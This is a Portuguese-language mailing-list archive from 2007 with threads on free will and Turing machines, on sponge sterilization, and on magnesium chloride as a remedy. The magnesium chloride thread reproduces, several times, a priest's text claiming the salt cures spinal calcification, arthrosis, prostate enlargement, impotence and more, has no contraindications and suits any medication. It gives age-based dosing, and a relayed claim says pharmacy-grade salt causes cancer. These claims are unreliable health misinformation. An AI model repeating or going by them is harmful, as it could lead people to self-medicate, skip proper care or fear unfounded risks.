Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
câimbras, tremores, frigidez, artérias duras, falta de atividade cerebral,
sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à noite.
Sentindo-se melhor, passar para a dose preventiva.
Preparo: como preparar e usar a solução de cloreto de magnésio:
dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à venda,
em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada (melhor
fervida). Depois de bem misturado, colocar em vasilhames de vidro (não de
plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
pela manhã e 1 dose à noite.
Onde encontrar: em farmácias de produtos naturais ou mesmo nas
alopáticas.


* J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
Catarinense / Sta. Catarina.


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/05/2007 02:50

Prezado Manoel,

Essa puchada do JC merece ser guardada, depois de gravada no bronze, entre as obras primas do turiferarismo nacional: Um busto seu, na praça principal aí da santa terrinha, com esses dizeres poderia levá-lo a culminâncias dignas da ABL depois que o cuêio suicidar, banda de música e veementes discursos das pessoas gradas da sociedade local.

Ambos estão de parabens.
E, modestamente, a endosso

silvio..



silvio.
----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 26, 2007 8:11 PM
Subject: [ciencialist] Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO


Olá Chicão,

Mil perdões, mas você não está insinuando que o Bulcão não faz parte
da natureza, está?

Até onde me parece razoável o Bulcão é parte da natureza tanto quanto
os computadores. Eu francamente não vejo nada de sobrenatural no
Bulcão. Você vê?

Você acha que inteligência é algo sobrenatural???

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Esse é um dos problemas. Ninguém pode conceituar
> algo que não conhece por completo. O que sabemos
> em alguns casos é como ela se manifesta no mundo
> objetivo. A questão livro de Bulcão/macaco serve de
> ilustração. Se livros como o de Bulcão surgirem
> espontaneamente na natureza ou macacos neste instante
> forem capazes de escrever bons livros, essa idéia não
> é
> válida. Esse é um exemplo de design inteligente que
> funciona.
> O teste de turing basea-se numa comparação. A base
> dele está
> implícita no que acabei de dizer.
>
> --- José Carlos Antonio <profjc2003@...>
> escreveu:
>
> > Desculpem-me a intromissão, mas vocês estão falando
> > tanto em
> > "inteligência humana" que acabei não resistindo: o
> > que vem a ser a
> > "inteligência humana" de que tanto falam? Vocês
> > poderiam defini-la de
> > uma forma tal que depois não precisemos ficar
> > redefinindo a todo
> > momento que surgir "algo novo" que não cabe na
> > definição original?
> >
> > Abraços,
> > JC
.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Cloreto de Magnésio
FROM: João Batista Ferreira de Andrade <ferreiraandrade2000@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/05/2007 08:48

José Renato,

E, sobre o risco de uma epidemia de câncer?

João Batista <ferreiraandrade2000@yahoo.com.br

José Renato <jrma@terra.com.br> escreveu:
João Batista, nos sites abaixo há informação que Pe. Shorr faleceu com 93
anos em 2005...
[]s
JR
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PlantasErvas - Dicas Medicinais - cloreto de magnésio
*J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
Catarinense / Sta. ... Conheci o Padre Schor, ele curou-se com o cloreto de
magnésio, ...
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*J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
Catarinense / Sta. Catarina. Este texto data de 30 de setembro de 1985. ...
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----- Original Message -----
From: "João Batista Ferreira de Andrade" <ferreiraandrade2000@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 26, 2007 9:36 AM
Subject: Re: [ciencialist] Cloreto de Magnésio

Olá, caros listeiros

Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE
MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons resultados...E,
pelo que tenho pesquisado, o seu consumo é muito grande entre a população.
Antes, os frascos traziam o tal "PA"...

No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag.
191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO PA,
aquele usado em laboratório. Ele diz que o de farmácia, sem especificação de
pureza e sem ser "PA ", não serve para consumo, e depois de alguns anos de
uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos metais
pesados que contém, como chumbo e outros.

...............................................................................................................
ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo
Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não
apresentam a tal especificação "PA "...E informam que têm Autorização de
Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado pelo
"Químico" da área de fabricação que não era mais necessária esta informação
"PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da SAÚDE
PÚBLICA!...E, que em breve, remeteria uma justificativa técnica para o meu
conhecimento...Estou aguardando por mais de um ano...
.................................................................................................................

E agora, José?...

Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas
figurinhas?!...

Obrigado

João Batista ferreiraandrade2000@yahoo.com.br

José Renato <jrma@terra.com.br> escreveu:
Olá! Alguém já teve experiência de recuperação e cura de alguma doença ou
sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses Guimarães
usava-o diariamente e se dizia fã de algum remédio com magnésio.

Abraços

José Renato

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Cloreto de Magnésio

J. Shorr *

Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação podem
se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
tempo, a cura de todas as doenças causadas pela carência de cloreto de
magnésio no passado, até a artrose.
Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
paralítico, sentia pontadas agudas na região lombar - um bico de papagaio
incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
Ketacil, esquecendo-me, então, do bico de papagaio que antes já provocava
um peso crescente na barriga da perna direita. Após cinco anos, o peso
virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
depois atinei com a causa: mal me levantava da cama um formigamento descia
pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
bico de papagaio, que apertava o nervo ciático na terceira vértebra,
quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
mais possível sentado. Havia anos que fazia tudo sentado, menos a missa, o
que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
completar a rede de rádio-telefonia de 48 estações em 6
Estados. Após seis meses, viajei, esperando melhorar naquele eterno
verão.
Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
ajudantes a montar os mastros e esticar as antenas por cima dos telhados.
Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
especialista. Agora já era um bando de bicos de papagaios, calcificados,
duros em grau avançado. Nada se poderia fazer. As dez aplicações de ondas
curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
vendo a tua criatura"?
Não lhe custava dar um jeitinho...
Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol que
descobriu o uso do cloreto de magnésio: sua mão era dura de tão
calcificada, mas, com este sal, ficou móvel como a de uma menina; o mesmo
aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
comecei a tomar uma dose pela manhã e uma à noite; mesmo assim continuei
dormindo encolhido até o 20º dia; naquela manhã, porém, acordei estirado
na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30 dias,
eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada mais
me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de 10
anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso; três
meses depois minha flexibilidade aumentava. Dez meses
já se passaram e me dobro quase como uma cobra".
Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação que
sempre estava abaixo de 40 - eu já pensava em marca passo - normalizou-se.
O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
desapareceram. A próstata, que eu deveria operar assim que tivesse uma
folga nos trabalhos, já não me incomoda muito. Houve ainda outros efeitos,
a ponto de várias pessoas me perguntarem: "O que está acontecendo com
você?" Está mais jovem!
"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
curaram em Santa Catarina depois de anos de sofrimento com males da
coluna, artrose etc.
Importância do cloreto de magnésio: O cloreto de magnésio produz o
equilíbrio mineral, anima os órgãos em suas funções (catalisadoras), como
os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
finas membranas nas articulações e as escleroses calcificadas, evitando
enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou conserva
a juventude até alta idade. O cloreto de magnésio é, de todos os sais, o
menos dispensável, como o professor na aula.
Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
magnésio, produzindo velhice e doenças. Por isso deve ser tomado conforme
a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose pela
manhã e 1 dose à noite.
Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio há
tendência à eliminação das doenças e uma diminuição significativa do
desgaste natural.
Só não se deixe levar pelo comodismo, até que uma doença se instale;
porque viver com dores e mal estar se é possível gozar de uma saúde
radiante?
O cloreto de magnésio não é remédio, mas alimento. E não tem
contra-indicação. É compatível com qualquer medicamento simultâneo. O
adulto precisaria obter dos alimentos o equivalente a três doses; se não
conseguir, pode aumentar um pouco a dose diária para não adoecer;
dificilmente se ultrapassa o limite, pois as doses indicadas para pessoas
de 40 a 100 anos são mínimas.
O cloreto de magnésio põe em ordem todo o corpo e é indicado para homens e
mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
ciático, coluna, arteriosclerose, rins, calcificação, surdez por
calcificação, deve iniciar o tratamento com uma dose pela manhã, uma dose
à tarde, uma dose à noite.
Quando curado, deve-se tomar o cloreto de magnésio como preventivo, isto
é, conforme a idade.
Artrose: o ácido úrico se deposita nas articulações do corpo, em
particular nos dedos, que até incham. Isso resulta de uma falha no
funcionamento dos rins, justamente por falta do cloreto de magnésio. Tenha
cautela: se um rim talvez já esteja se deteriorando, tome apenas uma dose
pela manhã. Se em 20 dias não sentir melhoras e não cessar a anormalidade,
tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
com as doses normais, como preventivo.
Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
magnésio como preparação, e ele começou a melhorar. Depois de uma semana
sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses à
tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
câimbras, tremores, frigidez, artérias duras, falta de atividade cerebral,
sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à noite.
Sentindo-se melhor, passar para a dose preventiva.
Preparo: como preparar e usar a solução de cloreto de magnésio:
dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à venda,
em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada (melhor
fervida). Depois de bem misturado, colocar em vasilhames de vidro (não de
plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
pela manhã e 1 dose à noite.
Onde encontrar: em farmácias de produtos naturais ou mesmo nas
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SUBJECT: Re(2): Microondas esteriliza.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/05/2007 16:15

Boa tarde JC

alguns ganham a vida esterilizando ou pelo menos ensinado
alguns conceitos associados a este belo assunto que envolve
estatística, resolução de integrais e microbiologia.

A discussão 99% com o microondas está furada, estatisticamente, e
ninguém percebeu este aspecto. Esta foi a principal razão de minha
mensangem original.

Quanto ao sistema imune, para várias situações sua crítica procede.

Saudações. UCFilho



--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Francamente... Eu recomendo "anticorpos". :)))
>
> Que vida besta essa de "esterilizar tudo". A naturreza gastou milhões
> de anos nos preparando para viver com as bactérias e agora vem uns
> sujeitos metidos a "esterilizados" querendo acabar com essa feliz união?
>
> Oras... Deixem as bactérias em paz!
>
> Abraços,
> JC
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@>
> escreveu
> >
> > Boa tarde Takata e a todos,
> >
> > não há dúvidas que eliminar as bactérias de esponjas seja importante
> > para saúde coletiva, mas os aclamados 99% não significam um bom
> > resultado.
> >
> > Considerando que uma esponja tenha 10000 bactérias* seria necessário
> > eliminar pelo menos 99.999% das bactérias para que se tenha a chance
> > de que em cada dez vezes de uso da esponja recentemente limpa uma
> > delas
> > a esponja esteja contaminada.
> >
> > Quanto à URL do biomédico que você citou, o uso de hipoclorito
> > garante resultados satisfatórios para tempos superiores à 1h **, mas
> > não concordo com a primeira colocação do autor ao considerar que a
> > leptospirose pode ser transmitida por latas em condições que alguém
> > venha a tomar uma boa cerveja onde o que se tem são vestígios de
> > urina seca na superfície da lata.
> >
> > Saudações. UCFilho
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> > <roberto.takata@> escreveu
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@>
> > > > Também não creio que a discussão mata 99% seja razoável
> > > > como motivo de satisfação.
> > >
> > > Segundo o biomédico Roberto Figueiredo:
> > >
> > > "10. Esponjas representam uma fonte de contaminação na cozinha?
> > >
> > > Realmente, a esponja é um foco de contaminação. Após cada
> > utilização,
> > > lavar com água e sabão, espremer bem, imergir em uma solução de 1
> > > litro de água + 2 colheres de sopa de água sanitária, por 5 minutos.
> > > Guardar em lugar seco, nunca sobre o sabão. Trocar pelo menos a cada
> > > semana."
> > > http://adm.globolog.globo.com/globolog/publicacao/permalink.do?
> > postId=220027
> > > -------------
> > > []s,
> > >
> > > Roberto Takata
> > >
> >
>




SUBJECT: Re: (Para Chicaõ - Parte II)MOSCAS E LIVRE ARBÍTRIO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/05/2007 18:57

Olá Chicão

Chicão: "Mais uma vez você está afirmando algo que eu não disse."

Desculpe, Chicão, mas não vejo como. Tudo o que fiz em minha mensagem
anterior foi tentar detalhar os aspectos e termos do problemas, sem me
focar em algo específico que você tenha dito.

Ainda assim, temo que esteja confundindo o problema da parada com a
questão dos loops e travamentos de algorítimos e softwares.

Vou usar alguns trechos do outro email que enviou para ver se posso
ser mais claro em meus argumentos.

Chicão: "Eu nenhum momento eu disse que o problema da parada e
o teste de turing eram a mesma coisa."

Sei que não disse, mas me parece que está, de alguma forma,
confundindo estes, e mais a questão do loop e dos paradoxos. E são
coisas bem distintas.

O problema da Parada, em especial, NÃO implica em um travamento ou
falha de capacidade de avaliação de "fenomenos auto-referentes". E
você afirmou isso mais de uma vez, como abaixo:

Chicão: "Nós humanos, somos capazes de brincar com proposições
auto-referentes que geram paradoxos enquanto que os computadores "se
quebram" nesse ponto."

Computadores não "quebram" ou "param" quando confrontados com
paradoxos ou com proposições auto-referentes. Mas mais importante que
isso, o Problema da Parada não tem a ver com proposições
auto-referentes ou paradoxos.

Chicão: "Eu já disse em outra mensagem que dizer que o
computador "trava" é apenas abuso de linguagem."

Ok, mas esse abuso de linguagem está criando algum ruído de
comunicação, pois você o está utilizando juntamente com problemas como
paradoxos, falhas de software, paradas, etc. Ao colocar tudo junto,
fica a impressão de que estão relacionados, sendo a "parada" ou quebra
fruto da proposição paradoxal ou auto-referente.

Por isso quis detalhar o problema e evitar que o abuso de linguagem
contaminasse nosso debate.

Chicão: "Eu nunca disse que uma coisa era outra. È você que
está afirmando isso."

Por favor, seja paciente comigo, eu não estou dizendo que você afirmou
isso, mas apenas tentando esclarecer os termos, até para facilitar
minha compreensão de seus argumentos, ok? É que ao usar os termos
teste de Turing, problema da parada, máquinas de Turing, etc, podemos
deixar bastante confuso um assunto que já é complexo por natureza.

Chicão; "O "artificial" que você cita está apoiado no paradigma
das máquinas de turing. Já argumentei porque o
racíocinio humano não poderá emergir por completo
nesse paradigma. Agora se inventarem outro
paradigma...."

Acho que neste ponto discordamos bastante. Não vejo nada como um
"paradigma" sendo base de nada, nem dos sistemas biológicos nem dos
artificiais. Nem vejo como seria preciso outro "paradigma", e na
verdade nem gosto do termo "novo paradigma", quase sempre utilizado
sem precisão e sem que se defina nem o antigo, quanto mais o novo
paradigma de forma racional.

Seu argumento, sobre o raciocínio humano não poder emergir do "atual
paradigma" não me convence, por não ter base de sustentação. Seu
surgimento em um substrato material, biológico, como o cérebro,
derivado de complexidade, só pode ser refutado por algo além dessa
materialidade, ou devemos considerar que outro substrato, mas com a
mesma complexidade (e mesmo paradigma) pode perfeitamente fazer
emergir outra mente, equivalente a humana.

E, é a base desta discordância, nem o problema da Parada, nem a
questão dos paradoxos, é impedimento a esse surgimento.

Chicão: "Eu não estou dizendo que é impossível para qualquer
paradigma, eu estou dizendo que é impossível para as
máquinas de turing(MT´s). Se homens lidam e MT´s não,
já temos algo que os separam. E tudo isso que acabei
de escrever já disse em emails anteriores."

Aqui voltamos ao nosso problema com termos, com o que exatamente MT
não lidam? Com paradoxos? Isso não é verdade, elas podem lidar, sem
problemas. O que elas não podem fazer é lidar com eles com a mesma
habilidade que nossa mente, mas a mente de chimpanzés, em tudo
idênticas a nossa (exceto em termos de nível), e que tem o mesmo
"paradigma", também não pode. Mas nada impede que possa um dia, se
continuar a crescer. O mesmo para MT.

MTs lidam com paradoxos, sem "quebrar". Mas também sem "pensar muito"
sobre isso..:-) Se adquirirem a capacidade de "pensar", em termos
subjetivos, com a emersão de um self, derivado da complexidade,
poderão fazer isso. Mas a atual incapacidade de pensar sobre o
paradoxo não é uma questão de paradigma, mas de complexidade, nível de
complexidade.

O problema da parada é, não podemos desenvovler um algorítimo que,
antecipadamente, nos informe se uma MT vai, ou não, parar em
determinado momento. Só isso. Também não podemos criar uma forma de
saber se nosso software mental vai parar, ou não, o que nos torna
iguais nesse sentido as MTs..:-)

Chicão: "Como você disse "ao que tudo indica", mas você não
sabe a priori se é possível ou não."

Certamente..:-) Por isso nenhuma de minas alegações ou argumentos é
final ou absoluto, estou aberto a possibilidades. Mas, neste momento,
a partir do conhecimento que temos sobre cérebro e mente, nada indica
que isso não seja correto - "nossa consciência, ao que tudo indica,
surge pela evolução do cérebro e da complexidade" - e podemos basear
nossas conclusões (sempre provisórias e dependentes de confirmações
posteriores) em relação a possibilidade de surgimento de mente
equivalente a humana em chimpanzés ou máquinas.

Um abraço.

Homero





SUBJECT: Re: [ciencialist] Cloreto de Magnésio
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, ferreiraandrade@yahoo.com.br
DATE: 27/05/2007 23:09

John,
tudo bem?
Obrigado pelo bisú, aliás muito fácil de ser testado.
Abraço!
Murilo SP 27/mai07


>From: João Batista Ferreira de Andrade <ferreiraandrade2000@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: Re: [ciencialist] Cloreto de Magnésio
>Date: Sat, 26 May 2007 09:36:32 -0300 (ART)
>
>Olá, caros listeiros
>
> Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE
>MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons resultados...E,
>pelo que tenho pesquisado, o seu consumo é muito grande entre a população.
>Antes, os frascos traziam o tal "PA"...
>
> No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag.
>191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO PA,
>aquele usado em laboratório. Ele diz que o de farmácia, sem especificação
>de pureza e sem ser "PA ", não serve para consumo, e depois de alguns anos
>de uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos
>metais pesados que contém, como chumbo e outros.
>
>
>...............................................................................................................
> ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo
>Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não
>apresentam a tal especificação "PA "...E informam que têm Autorização de
>Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado pelo
>"Químico" da área de fabricação que não era mais necessária esta informação
>"PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da
>SAÚDE PÚBLICA!...E, que em breve, remeteria uma justificativa técnica para
>o meu conhecimento...Estou aguardando por mais de um ano...
>
>.................................................................................................................
>
> E agora, José?...
>
> Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas
>figurinhas?!...
>
> Obrigado
>
> João Batista ferreiraandrade2000@yahoo.com.br
>
>
>
>José Renato <jrma@terra.com.br> escreveu:
> Olá! Alguém já teve experiência de recuperação e cura de alguma doença
>ou sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses
>Guimarães usava-o diariamente e se dizia fã de algum remédio com magnésio.
>
>Abraços
>
>José Renato
>
>.......................................
>
>
>
>Cloreto de Magnésio
>
>
>
>J. Shorr *
>
>Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação podem
>se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
>tempo, a cura de todas as doenças causadas pela carência de cloreto de
>magnésio no passado, até a artrose.
>Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
>paralítico, sentia pontadas agudas na região lombar - um bico de papagaio
>incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
>Ketacil, esquecendo-me, então, do bico de papagaio que antes já provocava
>um peso crescente na barriga da perna direita. Após cinco anos, o peso
>virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
>depois atinei com a causa: mal me levantava da cama um formigamento descia
>pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
>ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
>bico de papagaio, que apertava o nervo ciático na terceira vértebra,
>quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
>mais possível sentado. Havia anos que fazia tudo sentado, menos a missa, o
>que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
>completar a rede de rádio-telefonia de 48 estações em 6
>Estados. Após seis meses, viajei, esperando melhorar naquele eterno
>verão.
>Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
>ajudantes a montar os mastros e esticar as antenas por cima dos telhados.
>Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
>especialista. Agora já era um bando de bicos de papagaios, calcificados,
>duros em grau avançado. Nada se poderia fazer. As dez aplicações de ondas
>curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
>deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
>tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
>fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
>vendo a tua criatura"?
>Não lhe custava dar um jeitinho...
>Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
>Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
>magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol que
>descobriu o uso do cloreto de magnésio: sua mão era dura de tão
>calcificada, mas, com este sal, ficou móvel como a de uma menina; o mesmo
>aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
>morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
>comecei a tomar uma dose pela manhã e uma à noite; mesmo assim continuei
>dormindo encolhido até o 20º dia; naquela manhã, porém, acordei estirado
>na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30 dias,
>eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada mais
>me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de 10
>anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso; três
>meses depois minha flexibilidade aumentava. Dez meses
>já se passaram e me dobro quase como uma cobra".
>Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
>indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação que
>sempre estava abaixo de 40 - eu já pensava em marca passo - normalizou-se.
>O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
>sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
>desapareceram. A próstata, que eu deveria operar assim que tivesse uma
>folga nos trabalhos, já não me incomoda muito. Houve ainda outros efeitos,
>a ponto de várias pessoas me perguntarem: "O que está acontecendo com
>você?" Está mais jovem!
>"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
>obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
>curaram em Santa Catarina depois de anos de sofrimento com males da
>coluna, artrose etc.
>Importância do cloreto de magnésio: O cloreto de magnésio produz o
>equilíbrio mineral, anima os órgãos em suas funções (catalisadoras), como
>os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
>finas membranas nas articulações e as escleroses calcificadas, evitando
>enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou conserva
>a juventude até alta idade. O cloreto de magnésio é, de todos os sais, o
>menos dispensável, como o professor na aula.
>Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
>magnésio, produzindo velhice e doenças. Por isso deve ser tomado conforme
>a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
>anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose pela
>manhã e 1 dose à noite.
>Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
>(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
>pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
>mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio há
>tendência à eliminação das doenças e uma diminuição significativa do
>desgaste natural.
>Só não se deixe levar pelo comodismo, até que uma doença se instale;
>porque viver com dores e mal estar se é possível gozar de uma saúde
>radiante?
>O cloreto de magnésio não é remédio, mas alimento. E não tem
>contra-indicação. É compatível com qualquer medicamento simultâneo. O
>adulto precisaria obter dos alimentos o equivalente a três doses; se não
>conseguir, pode aumentar um pouco a dose diária para não adoecer;
>dificilmente se ultrapassa o limite, pois as doses indicadas para pessoas
>de 40 a 100 anos são mínimas.
>O cloreto de magnésio põe em ordem todo o corpo e é indicado para homens e
>mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
>Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
>ciático, coluna, arteriosclerose, rins, calcificação, surdez por
>calcificação, deve iniciar o tratamento com uma dose pela manhã, uma dose
>à tarde, uma dose à noite.
>Quando curado, deve-se tomar o cloreto de magnésio como preventivo, isto
>é, conforme a idade.
>Artrose: o ácido úrico se deposita nas articulações do corpo, em
>particular nos dedos, que até incham. Isso resulta de uma falha no
>funcionamento dos rins, justamente por falta do cloreto de magnésio. Tenha
>cautela: se um rim talvez já esteja se deteriorando, tome apenas uma dose
>pela manhã. Se em 20 dias não sentir melhoras e não cessar a anormalidade,
>tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
>com as doses normais, como preventivo.
>Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
>conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
>magnésio como preparação, e ele começou a melhorar. Depois de uma semana
>sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
>regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses à
>tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
>Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
>câimbras, tremores, frigidez, artérias duras, falta de atividade cerebral,
>sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à noite.
>Sentindo-se melhor, passar para a dose preventiva.
>Preparo: como preparar e usar a solução de cloreto de magnésio:
>dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à venda,
>em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada (melhor
>fervida). Depois de bem misturado, colocar em vasilhames de vidro (não de
>plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
>idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
>anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
>pela manhã e 1 dose à noite.
>Onde encontrar: em farmácias de produtos naturais ou mesmo nas
>alopáticas.
>
>
>* J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
>Catarinense / Sta. Catarina.
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SUBJECT: Re: [ciencialist] III Circo da Ci�ncia UFSCa r?=
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
